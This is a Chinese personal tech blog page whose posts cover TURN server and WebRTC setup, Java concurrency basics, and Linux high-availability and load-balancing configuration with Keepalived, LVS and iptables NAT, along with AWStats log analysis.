$ sudo gdebi rfc5766-turn-server_3.2.4.4-1_amd64.deb

安裝完后，在/usr/share/doc/rfc5766-turn-server下有很多文檔可參考。

3. 配置：

$ sudo vi /etc/turnserver.conf

---------------------------------------

// 配置IP，EC2下需要配置listening-ip和external-ip

listening-ip=172.31.4.37

external-ip=54.223.149.60

// 當(dāng)TURN Server用于WebRTC時，必須使用long-term credential mechanism

lt-cred-mech

// 增加一個用戶

user=username1:password1

// 設(shè)定realm

realm=mycompany.org

---------------------------------------

4. 啟動：

sudo turnserver -c /etc/turnserver.conf --daemon

5. 服務(wù)啟動后，在上一個WebRTC示例中更改iceServers后測試：

"iceServers": [{

"url": "stun:stun.l.google.com:19302"

}, {

"url": "turn:54.223.149.60",

"username": "username1",

"credential": "password1"

}]

更多安裝信息在：http://turnserver.open-sys.org/downloads/v3.2.4.4/INSTALL

rfc5766-turn-server當(dāng)然也有STUN Server的能力，但是需要給它配置2個IP，以幫助探測客戶端所在NAT環(huán)境的行為，這里沒有做。

posted @ 2014-10-22 14:23 老林閱讀(8388) | 評論 (3) | 編輯收藏

最簡單的WebRTC示例

在學(xué)習(xí)WebRTC時，網(wǎng)上的示例大多代碼較多，以下是參考那些代碼簡化的一個WebRTC一對一的示例，在chrome 37下測試通過。其中iceServer可省略，沒有iceServer時在同一個局域網(wǎng)下仍可通訊。

客戶端代碼：

<html>
<body>
    Local: <br>
    <video id="localVideo" autoplay></video><br>
    Remote: <br>
    <video id="remoteVideo" autoplay></video>

    <script>
        // 僅僅用于控制哪一端的瀏覽器發(fā)起offer，#號后面有值的一方發(fā)起
        var isCaller = window.location.href.split('#')[1];

        // 與信令服務(wù)器的WebSocket連接
        var socket = new WebSocket("ws://127.0.0.1:3000");

        // stun和turn服務(wù)器
        var iceServer = {
            "iceServers": [{
                "url": "stun:stun.l.google.com:19302"
            }, {
                "url": "turn:numb.viagenie.ca",
                "username": "webrtc@live.com",
                "credential": "muazkh"
            }]
        };

        // 創(chuàng)建PeerConnection實例 (參數(shù)為null則沒有iceserver，即使沒有stunserver和turnserver，仍可在局域網(wǎng)下通訊)
        var pc = new webkitRTCPeerConnection(iceServer);

        // 發(fā)送ICE候選到其他客戶端
        pc.onicecandidate = function(event){
            if (event.candidate !== null) {
                socket.send(JSON.stringify({
                    "event": "_ice_candidate",
                    "data": {
                        "candidate": event.candidate
                    }
                }));
            }
        };

        // 如果檢測到媒體流連接到本地，將其綁定到一個video標(biāo)簽上輸出
        pc.onaddstream = function(event){
            document.getElementById('remoteVideo').src = URL.createObjectURL(event.stream);
        };

        // 發(fā)送offer和answer的函數(shù)，發(fā)送本地session描述
        var sendOfferFn = function(desc){
            pc.setLocalDescription(desc);
            socket.send(JSON.stringify({
                "event": "_offer",
                "data": {
                    "sdp": desc
                }
            }));
        },
        sendAnswerFn = function(desc){
            pc.setLocalDescription(desc);
            socket.send(JSON.stringify({
                "event": "_answer",
                "data": {
                    "sdp": desc
                }
            }));
        };

        // 獲取本地音頻和視頻流
        navigator.webkitGetUserMedia({
            "audio": true,
            "video": true
        }, function(stream){
            //綁定本地媒體流到video標(biāo)簽用于輸出
            document.getElementById('localVideo').src = URL.createObjectURL(stream);
            //向PeerConnection中加入需要發(fā)送的流
            pc.addStream(stream);
            //如果是發(fā)起方則發(fā)送一個offer信令
            if(isCaller){
                pc.createOffer(sendOfferFn, function (error) {
                    console.log('Failure callback: ' + error);
                });
            }
        }, function(error){
            //處理媒體流創(chuàng)建失敗錯誤
            console.log('getUserMedia error: ' + error);
        });

        //處理到來的信令
        socket.onmessage = function(event){
            var json = JSON.parse(event.data);
            console.log('onmessage: ', json);
            //如果是一個ICE的候選，則將其加入到PeerConnection中，否則設(shè)定對方的session描述為傳遞過來的描述
            if( json.event === "_ice_candidate" ){
                pc.addIceCandidate(new RTCIceCandidate(json.data.candidate));
            } else {
                pc.setRemoteDescription(new RTCSessionDescription(json.data.sdp));
                // 如果是一個offer，那么需要回復(fù)一個answer
                if(json.event === "_offer") {
                    pc.createAnswer(sendAnswerFn, function (error) {
                        console.log('Failure callback: ' + error);
                    });
                }
            }
        };
    </script>
</body>
</html>

實現(xiàn)WebRTC時，信令服務(wù)器是必須的，它幫助客戶端之間進行溝通。
這里使用Node.js的ws模塊來實現(xiàn)一個WebSocket服務(wù)作為信令服務(wù)器。另外使用express模塊讓它提供html頁面的訪問。
server.js代碼如下：

使用npm安裝需要的模塊后使用node server.js啟動服務(wù)。
測試時使用Chrome瀏覽器：
第一個瀏覽器窗口訪問頁面：http://127.0.0.1:3000，在彈出的提示中允許使用攝像頭和麥克風(fēng)。
第二個瀏覽器窗口訪問頁面：http://127.0.0.1:3000#true，#true表示它是一個發(fā)起方，在彈出的提示中同樣允許使用攝像頭和麥克風(fēng)。
這時頁面中應(yīng)當(dāng)可以看到2個畫面，一個是本地的，一個是遠(yuǎn)端的。

將代碼中的IP稍做調(diào)整后部署到外網(wǎng)，即可在2個不同的地點訪問這個頁面進行實時通訊。

微信訂閱號：

源文地址：http://blog.gopersist.com/2014/10/21/webrtc-simple/

posted @ 2014-10-21 17:21 老林閱讀(43352) | 評論 (6) | 編輯收藏

JAVA并發(fā)編程的理解

并發(fā)編程時，必須考慮安全性問題，即線程安全，所謂線程安全就是可以同時被多個線程調(diào)用，調(diào)用者無須額外的操作，程序也不會出現(xiàn)錯誤的結(jié)果。

要使程序是線程安全的，必須考慮以下2點：

是否存在競態(tài)條件，常見的是那些先檢查后執(zhí)行的操作行為，它的正確結(jié)果取決于運氣。避免錯誤結(jié)果的方法是保證操作的原子性，通常使用加鎖，也有一些原子變量類可以達(dá)到目的。
對象狀態(tài)在內(nèi)存中是否可見，即當(dāng)一個線程修改了對象的狀態(tài)后，其他線程不一定看到修改后的狀態(tài)。保證其他線程總是能看到最新狀態(tài)的方法有2種：一種是加鎖，另一種是使用volatile變量。

于是得出幾個結(jié)論：

加鎖機制可保證可見性和原子性，所以能保證線程安全；
原子變量可保證原子性，但不能保證可見性，所以不能保證線程安全；
volatile變量能保證可見性，但不能保證原子性，所以不能保證線程安全；
volatile的原子變量能保證線程安全。

除此之外，還有一些對象一定是線程安全的：

無狀態(tài)對象；
不可變對象。

但是加鎖機制會產(chǎn)生活躍性問題，活躍性問題關(guān)注正確的行為是否一定會發(fā)生，主要有死鎖問題。
死鎖簡單來講是這樣的：線程A持有鎖L并想獲得鎖M，同時線程B持有鎖M并想獲得鎖L，這時線程A和B都永久阻塞。

避免死鎖的關(guān)鍵是要保證每個線程獲取鎖的順序必須相同，如上面線程A和B獲取鎖的順序如果都是先獲取鎖L再獲取鎖M，就不會發(fā)生死鎖問題。

當(dāng)持有鎖時調(diào)用外部方法，會很難分析獲取鎖的順序，要盡量避免。

編碼參考：

將所有可變狀態(tài)都封裝在對象內(nèi)部，并通過對象的內(nèi)置鎖對所有訪問可變狀態(tài)的代碼進行同步；
擴展線程安全的容器類時，在新類中委托容器類的其他方法，使用新鎖，不要關(guān)心原來的容器類是否線程安全。

參考資料：

《JAVA并發(fā)編程實戰(zhàn)》

posted @ 2014-10-10 13:41 老林閱讀(1301) | 評論 (0) | 編輯收藏

Linux Keepalived 實現(xiàn)雙機熱備

試用Keepalived來做雙機熱備，服務(wù)器信息如下：

服務(wù)器	操作系統(tǒng)	IP	虛擬IP
Server 1	Centos	192.168.18.20	192.168.18.22
Server 2	Centos	192.168.18.21	192.168.18.22

1. 安裝Keepalived

2臺Server都使用下面的命令安裝Keepalived：

yum install keepalived -y

2. Server1 Keepalived 配置

$ vi /etc/keepalived/keepalived.conf

vrrp_instance VI_1 {
    state MASTER
    interface eth0
    virtual_router_id 51
    priority 100 # 優(yōu)先級
    advert_int 1                 # 心跳間隔(秒)
    authentication {
        auth_type PASS
        auth_pass 1111
    }
    virtual_ipaddress {
        192.168.18.22         # 虛擬IP
    }
}

3. Server2 Keepalived 配置

$ vi /etc/keepalived/keepalived.conf

vrrp_instance VI_1 {
    state BACKUP              # 備份機
    interface eth0
    virtual_router_id 51
    priority 99                   # 優(yōu)先級，比主服務(wù)器底
    advert_int 1                 # 心跳間隔(秒)
    authentication {
        auth_type PASS
        auth_pass 1111
    }
    virtual_ipaddress {
        192.168.18.22         # 虛擬IP
    }
}

4. 啟動Keepalived

$ service keepalived start

啟動keepalived后，可看到2臺Server都綁定了虛擬IP：

$ ip a

# Server 1:
2: eth0: <BROADCAST,MULTICAST,UP,LOWER_UP> mtu 1500 qdisc pfifo_fast state UP qlen 1000
    link/ether 00:24:8c:8c:67:43 brd ff:ff:ff:ff:ff:ff
    inet 192.168.18.20/24 brd 192.168.18.255 scope global eth0
    inet 192.168.18.22/32 scope global eth0
    inet6 fe80::224:8cff:fe8c:6743/64 scope link
       valid_lft forever preferred_lft forever

# Server 2:
2: eth0: <BROADCAST,MULTICAST,UP,LOWER_UP> mtu 1500 qdisc pfifo_fast state UP qlen 1000
    link/ether 00:23:54:bf:ab:17 brd ff:ff:ff:ff:ff:ff
    inet 192.168.18.21/24 brd 192.168.18.255 scope global eth0
    inet 192.168.18.22/32 scope global eth0
    inet6 fe80::223:54ff:febf:ab17/64 scope link
       valid_lft forever preferred_lft forever

5. 測試

瀏覽器訪問http://192.168.18.22，出現(xiàn) This is Server 1.
將192.168.18.20關(guān)閉，再訪問http://192.168.18.22，出現(xiàn)This is Server 2.

微信訂閱號：

源文地址：http://blog.gopersist.com/2014/09/24/keepalived/

posted @ 2014-09-24 11:34 老林閱讀(2052) | 評論 (2) | 編輯收藏

LVS-DR

試用IPVS的直接路由方式來做負(fù)載均衡。服務(wù)器信息如下：

IP配置信息如下：

服務(wù)器	操作系統(tǒng)	IP	IP別名	網(wǎng)關(guān)
調(diào)度服務(wù)器	Centos	192.168.2.90	192.168.2.99	192.168.2.1
實際服務(wù)器	Centos	192.168.2.71	192.168.2.99	192.168.2.1
實際服務(wù)器	Centos	192.168.2.72	192.168.2.99	192.168.2.1

直接路由方式工作在數(shù)據(jù)鏈路層，通過修改數(shù)據(jù)包的MAC地址，將數(shù)據(jù)包轉(zhuǎn)發(fā)到實際服務(wù)器上。實際服務(wù)器響應(yīng)時直接發(fā)送給用戶端，而不經(jīng)過調(diào)度器。

因為調(diào)度服務(wù)器并沒有修改數(shù)據(jù)包的IP地址，所以我們需要為實際服務(wù)器設(shè)置與調(diào)度服務(wù)器相同的IP別名，以使實際服務(wù)器接受數(shù)據(jù)包。

為調(diào)度服務(wù)器設(shè)置IP別名：

ifconfig eth1:0 192.168.2.99

IP別名與原來的IP地址在使用上并沒有什么不同，這里可以ping通90和99兩個IP。

為實際服務(wù)器設(shè)置IP別名：

ifconfig lo:0 192.168.2.99 broadcast 192.168.2.99 netmask 255.255.255.255 up

為實際服務(wù)器添加路由規(guī)則，使它不去尋找其他擁有這個IP的服務(wù)器：

route add -host 192.168.2.99 dev lo:0

防止實際服務(wù)器響應(yīng)針對IP別名的ARP廣播：

echo 1>/proc/sys/net/ipv4/conf/lo/arp_ignore

echo 2>/proc/sys/net/ipv4/conf/lo/arp_announce

echo 1>/proc/sys/net/ipv4/conf/all/arp_ignore

echo 2>/proc/sys/net/ipv4/conf/all/arp_announce

使用ipvsadm配置調(diào)度服務(wù)器：

ipvsadm -A -t 192.168.2.99:8888 -s rr

ipvsadm -a -t 192.168.2.99:8888 -r 192.168.2.71:8888 -g

ipvsadm -a -t 192.168.2.99:8888 -r 192.168.2.72:8888 -g

使用下面的命令將連接有效時間改為1秒來測試，：

ipvsadm --set 1 120 300

瀏覽器訪問http://192.168.2.99:8888，每隔1秒多點擊刷新，就會交替出現(xiàn)192.168.2.71和192.168.2.72。

posted @ 2014-04-28 11:15 老林閱讀(889) | 評論 (0) | 編輯收藏

LVS-NAT

試用IPVS來做負(fù)載均衡，使用了1臺雙網(wǎng)卡服務(wù)器和2臺單網(wǎng)卡服務(wù)器，2個網(wǎng)段。服務(wù)器信息如下：

IP配置信息如下：

服務(wù)器	操作系統(tǒng)	網(wǎng)卡	IP
調(diào)度服務(wù)器	Centos	eth0	192.168.18.58
調(diào)度服務(wù)器	Centos	eth1	192.168.2.90
實際服務(wù)器	Centos	eth0	192.168.2.71
實際服務(wù)器	Centos	eth0	192.168.2.72

1. 首先配置調(diào)度服務(wù)器：

a) IPVS模塊已經(jīng)內(nèi)置到linux2.6.x內(nèi)核中，可以通過下面的命令查看是否已安裝：

modprobe -l | grep ipvs

看到類似下面的輸出，表示已經(jīng)安裝了

kernel/net/netfilter/ipvs/ip_vs.ko

kernel/net/netfilter/ipvs/ip_vs_rr.ko

kernel/net/netfilter/ipvs/ip_vs_wrr.ko

kernel/net/netfilter/ipvs/ip_vs_lc.ko

kernel/net/netfilter/ipvs/ip_vs_wlc.ko

kernel/net/netfilter/ipvs/ip_vs_lblc.ko

kernel/net/netfilter/ipvs/ip_vs_lblcr.ko

kernel/net/netfilter/ipvs/ip_vs_dh.ko

kernel/net/netfilter/ipvs/ip_vs_sh.ko

kernel/net/netfilter/ipvs/ip_vs_sed.ko

kernel/net/netfilter/ipvs/ip_vs_nq.ko

kernel/net/netfilter/ipvs/ip_vs_ftp.ko

kernel/net/netfilter/ipvs/ip_vs_pe_sip.ko

b) 安裝IPVS的管理工具ipvsadm：

yum install -y ipvsadm

c) 清除表中所有記錄：

ipvsadm -C

使用下面的命令增加虛擬服務(wù)器，采用輪詢調(diào)度策略：

ipvsadm -A -t 192.168.18.58:8888 -s rr

使用下面的命令添加實際服務(wù)器，并采用NAT方式轉(zhuǎn)發(fā)數(shù)據(jù)包：

ipvsadm -a -t 192.168.18.58:8888 -r 192.168.2.71:9999 -m

ipvsadm -a -t 192.168.18.58:8888 -r 192.168.2.72:9999 -m

d) 打開數(shù)據(jù)包轉(zhuǎn)發(fā)：

echo 1 > /proc/sys/net/ipv4/ip_forward

2. 接下來配置2臺實際服務(wù)器，分別做以下工作：

a) 在9999端口上啟動一個web服務(wù)：

配置好web服務(wù)后，當(dāng)訪問http://192.168.2.71:9999時，頁面返回：This is 192.168.2.71.；當(dāng)訪問http://192.168.2.72:9999時，頁面返回：This is 192.168.2.72.

b) 設(shè)置默認(rèn)網(wǎng)關(guān)指向調(diào)度服務(wù)器

route del default

route add default gw 192.168.2.90

3. 測試

訪問192.168.18.58:8888，會顯示This is 192.168.2.71或This is 192.168.2.72，多次刷新應(yīng)該要交替出現(xiàn)71和72，但實際上并沒有這樣，瀏覽器只顯示與第一次相同的內(nèi)容，也就是ipvsadm每次都選擇了同一臺服務(wù)器。這是因為當(dāng)一個TCP連接的初始SYN報文到達(dá)時，IPVS就選擇了一臺服務(wù)器，后繼報文會被轉(zhuǎn)發(fā)到相同的服務(wù)器。這個TCP連接在ipvsadm中默認(rèn)有效時間為15分鐘，可以通過下面的命令查看：

ipvsadm -L --timeout

Timeout (tcp tcpfin udp): 900 120 300

現(xiàn)在將有效時間改為1秒來測試，使用下面的命令：

ipvsadm --set 1 120 300

再到瀏覽器中每隔1秒多點擊刷新，就會交替出現(xiàn)71和72，說明輪詢調(diào)度正在正常工作。

posted @ 2014-04-25 14:32 老林閱讀(1375) | 評論 (0) | 編輯收藏

iptables NAT 學(xué)習(xí)

為了搞清楚iptables NAT的過程，做了這個實驗。使用了1臺雙網(wǎng)卡服務(wù)器和1臺單網(wǎng)卡服務(wù)器，2個網(wǎng)段。服務(wù)器信息如下：

IP配置信息如下：

服務(wù)器	操作系統(tǒng)	網(wǎng)卡	IP
調(diào)度服務(wù)器	Centos	eth0	192.168.18.58
調(diào)度服務(wù)器	Centos	eth1	192.168.2.90
實際服務(wù)器	Centos	eth0	192.168.2.73

1. 為了看到調(diào)度服務(wù)器上的數(shù)據(jù)轉(zhuǎn)發(fā)過程，首先在調(diào)度服務(wù)器上分出內(nèi)核的debug日志：

l 在/etc/rsyslog.conf最后增加：kern.debug /var/log/iptables.log

l 重啟日志服務(wù)：/etc/init.d/rsyslog restart

2. 啟動調(diào)度服務(wù)器的iptables并清空規(guī)則

service iptables start

iptables -F

3. 增加調(diào)度服務(wù)器的iptables特定日志輸出

假設(shè)要將對調(diào)度服務(wù)器8888端口的訪問轉(zhuǎn)發(fā)給實際服務(wù)器的9999端口處理，在iptables中增加與這2個端口相關(guān)的日志輸出：

iptables -t mangle -A PREROUTING -p tcp --dport 8888 -j LOG --log-level debug --log-prefix "<<<<< PER IN:"

iptables -t mangle -A PREROUTING -p tcp --sport 9999 -j LOG --log-level debug --log-prefix "<<<<< PER IN:"

iptables -t mangle -A POSTROUTING -p tcp --sport 8888 -j LOG --log-level debug --log-prefix ">>>>> POST OUT:"

iptables -t mangle -A POSTROUTING -p tcp --dport 9999 -j LOG --log-level debug --log-prefix ">>>>> POST OUT:"

iptables -t mangle -A POSTROUTING -p tcp --sport 9999 -j LOG --log-level debug --log-prefix ">>>>> POST OUT:"

這時，通過瀏覽器訪問http://192.168.18.58:8888可以看到iptables.log中打印出下面的日志：

Apr 24 16:24:35 route-server1 kernel: <<<<< PER IN:IN=eth0 OUT= MAC=00:1f:c6:cb:eb:e0:00:1f:33:de:29:ad:08:00 SRC=192.168.18.25 DST=192.168.18.58 LEN=60 TOS=0x00 PREC=0x00 TTL=63 ID=28721 DF PROTO=TCP SPT=50270 DPT=8888 WINDOW=14600 RES=0x00 SYN URGP=0

Apr 24 16:24:35 route-server1 kernel: <<<<< POST OUT:IN= OUT=eth0 SRC=192.168.18.58 DST=192.168.18.25 LEN=40 TOS=0x00 PREC=0x00 TTL=64 ID=0 DF PROTO=TCP SPT=8888 DPT=50270 WINDOW=0 RES=0x00 ACK RST URGP=0

雖然這個端口上即沒有應(yīng)用，也沒有將請求轉(zhuǎn)發(fā)出去，但日志打印出了內(nèi)核獲取到的對這個端口的請求。

4. 配置iptables將對8888的請求轉(zhuǎn)發(fā)到192.168.2.73:9999

iptables -t nat -A PREROUTING -i eth0 -p tcp --dport 8888 -j DNAT --to-destination 192.168.2.73:9999

訪問http://192.168.18.58:8888，日志中打印如下信息：

Apr 24 16:39:21 route-server1 kernel: <<<<< PER IN:IN=eth0 OUT= MAC=00:1f:c6:cb:eb:e0:00:1f:33:de:29:ad:08:00 SRC=192.168.18.25 DST=192.168.18.58 LEN=60 TOS=0x00 PREC=0x00 TTL=63 ID=56888 DF PROTO=TCP SPT=50274 DPT=8888 WINDOW=14600 RES=0x00 SYN URGP=0

日志中只打印了從eth0收到的對8888端口的請求，這是因為當(dāng)數(shù)據(jù)要被轉(zhuǎn)發(fā)到192.168.2.73:9999時，默認(rèn)情況下被禁止了。

5. 打開數(shù)據(jù)包轉(zhuǎn)發(fā)功能

echo 1 > /proc/sys/net/ipv4/ip_forward

訪問http://192.168.18.58:8888，日志中打印如下信息：

Apr 24 16:39:21 route-server1 kernel: <<<<< POST OUT:IN= OUT=eth1 SRC=192.168.18.25 DST=192.168.2.73 LEN=60 TOS=0x00 PREC=0x00 TTL=62 ID=56888 DF PROTO=TCP SPT=50274 DPT=9999 WINDOW=14600 RES=0x00 SYN URGP=0

第一條日志顯示從eth0收到了對8888端口的請求，第二條日志顯示iptables已經(jīng)更改了數(shù)據(jù)包的目的地為192.168.2.73:9999，并通過eth1發(fā)出去。

但這時請求雖然已經(jīng)被轉(zhuǎn)發(fā)到實際處理的服務(wù)器，但調(diào)度服務(wù)器收不到響應(yīng)，瀏覽器仍在不停重試，日志也在不斷打印。這是因為實際服務(wù)器收到的數(shù)據(jù)包的來源IP是另一個網(wǎng)段的，實際服務(wù)器回復(fù)時，發(fā)現(xiàn)不是本網(wǎng)段的就把數(shù)據(jù)包發(fā)給網(wǎng)關(guān)，網(wǎng)關(guān)設(shè)置的是192.168.2.1，這時數(shù)據(jù)就丟了。

6. 將實際服務(wù)器的默認(rèn)網(wǎng)關(guān)設(shè)置為192.168.2.90

在實際服務(wù)器上執(zhí)行以下命令：

route del default

route add default gw 192.168.2.90

再次訪問http://192.168.18.58:8888，日志打印如下信息：

Apr 24 16:47:27 route-server1 kernel: <<<<< PER IN:IN=eth0 OUT= MAC=00:1f:c6:cb:eb:e0:00:1f:33:de:29:ad:08:00 SRC=192.168.18.25 DST=192.168.18.58 LEN=60 TOS=0x00 PREC=0x00 TTL=63 ID=37000 DF PROTO=TCP SPT=50279 DPT=8888 WINDOW=14600 RES=0x00 SYN URGP=0

Apr 24 16:47:27 route-server1 kernel: <<<<< POST OUT:IN= OUT=eth1 SRC=192.168.18.25 DST=192.168.2.73 LEN=60 TOS=0x00 PREC=0x00 TTL=62 ID=37000 DF PROTO=TCP SPT=50279 DPT=9999 WINDOW=14600 RES=0x00 SYN URGP=0

Apr 24 16:47:27 route-server1 kernel: <<<<< PER IN:IN=eth1 OUT= MAC=00:22:b0:de:f7:49:00:24:8c:b4:a1:8c:08:00 SRC=192.168.2.73 DST=192.168.18.25 LEN=40 TOS=0x00 PREC=0x00 TTL=64 ID=0 DF PROTO=TCP SPT=9999 DPT=50279 WINDOW=0 RES=0x00 ACK RST URGP=0

Apr 24 16:47:27 route-server1 kernel: <<<<< POST OUT:IN= OUT=eth0 SRC=192.168.2.73 DST=192.168.18.25 LEN=40 TOS=0x00 PREC=0x00 TTL=63 ID=0 DF PROTO=TCP SPT=9999 DPT=50279 WINDOW=0 RES=0x00 ACK RST URGP=0

上面第一條第二條日志和之前一樣，iptables將目地址更改后，通過eth1網(wǎng)卡發(fā)送出去。第三條日志通過eth1網(wǎng)卡接收到了實際服務(wù)器發(fā)送過來的數(shù)據(jù)，并在第四條日志中通過eth0發(fā)回請求方。

posted @ 2014-04-24 17:15 老林閱讀(3983) | 評論 (0) | 編輯收藏

windows下awstat分析apache日志

一、準(zhǔn)備
1. 安裝apache，http://httpd.apache.org/
2. 安裝perl, http://www.perl.org/
3. 安裝awstat, http://awstats.sourceforge.net/
awstat安裝會自動進行一些配置，可能不需要下面的設(shè)置。

二、apache配置
在apache安裝目錄conf\httpd.conf中增加以下配置：
Alias /awstatsclasses "C:/Program Files/AWStats/wwwroot/classes/"
Alias /awstatscss "C:/Program Files/AWStats/wwwroot/wwwroot/css/"
Alias /awstatsicons "C:/Program Files/AWStats/wwwroot/icon/"
ScriptAlias /awstats/ "C:/Program Files/AWStats/wwwroot/cgi-bin/"

<Directory "C:/Program Files/AWStats/wwwroot/cgi-bin/">
   AllowOverride None
   Options ExecCGI
   Order allow,deny
   Allow from all
</Directory>

將common注釋掉，放開combined的注釋
#CustomLog "logs/access.log" common
CustomLog "logs/access.log" combined

三、awstat配置
1. 修改{awstats_home}/wwwroot/cgi-bin/下的awredir.pl、awstats.pl文件的第一行從#!/usr/bin/perl改成#!C:\strawberry\perl\bin\perl.exe。
3. 修改{awstats_home}/wwwroot/cgi-bin/下的awstats.demo.conf
LogFile="C:\Program Files\Apache Software Foundation\Apache2.2\logs\access.log"
LogType=W
LogFormat=1
SiteDomain="demo"

四、更新報表
命令行進行{awstats_home}\wwwroot\cgi-bin
perl awstats.pl -config=demo –update

五、訪問統(tǒng)計報表
http://localhost/awstats/awstats.pl?config=demo

注意：httpd.conf更改后要重啟apache服務(wù)

posted @ 2010-11-11 23:36 老林閱讀(628) | 評論 (0) | 編輯收藏

Play Framework 開發(fā)入門

摘要: Play Framework Eclipse 開發(fā)入門閱讀全文

posted @ 2010-10-30 13:18 老林閱讀(5774) | 評論 (4) | 編輯收藏

設(shè)計原則

摘要: 一個軟件實體，應(yīng)當(dāng)對擴展開放，對修改關(guān)閉。
要求一個軟件系統(tǒng)可以在不修改原有代碼的情況下，通過擴展達(dá)到增強其功能的目的。閱讀全文

posted @ 2010-03-30 08:44 老林閱讀(2041) | 評論 (1) | 編輯收藏

不急不徐，持之以恒。

常用鏈接

留言簿(2)

隨筆分類

隨筆檔案

搜索

最新評論

閱讀排行榜

評論排行榜

Memcached簡介

Memcached使用

Memcached集群

一致性哈希算法

一、跨站腳本攻擊（XSS）

Cookie劫持

XSS的防御

二、SQL注入

SQL注入的防御

三、跨站請求偽造（CSRF）

CSRF的防御

四、點擊劫持（ClickJacking）

點擊劫持的防御

一、瀏覽器介紹

二、同源策略

三、跨域訪問

1. iframe的跨域訪問

有兩種解決方法：

2. Ajax的跨域訪問

這時可由以下兩種方法解決：

3. 使用HTML5的postMessage方法實現(xiàn)跨域訪問

一、安全的要素

加密技術(shù)的使用

二、風(fēng)險分析

如何評估風(fēng)險？

加密算法

密鑰規(guī)范

密鑰格式：

密鑰存儲：

加密模式

Linux操作系統(tǒng)的I/O模型

Node.js中的異步I/O

Node.js中的異步I/O調(diào)用

1. 安裝Keepalived

2. Server1 Keepalived 配置

3. Server2 Keepalived 配置

4. 啟動Keepalived

5. 測試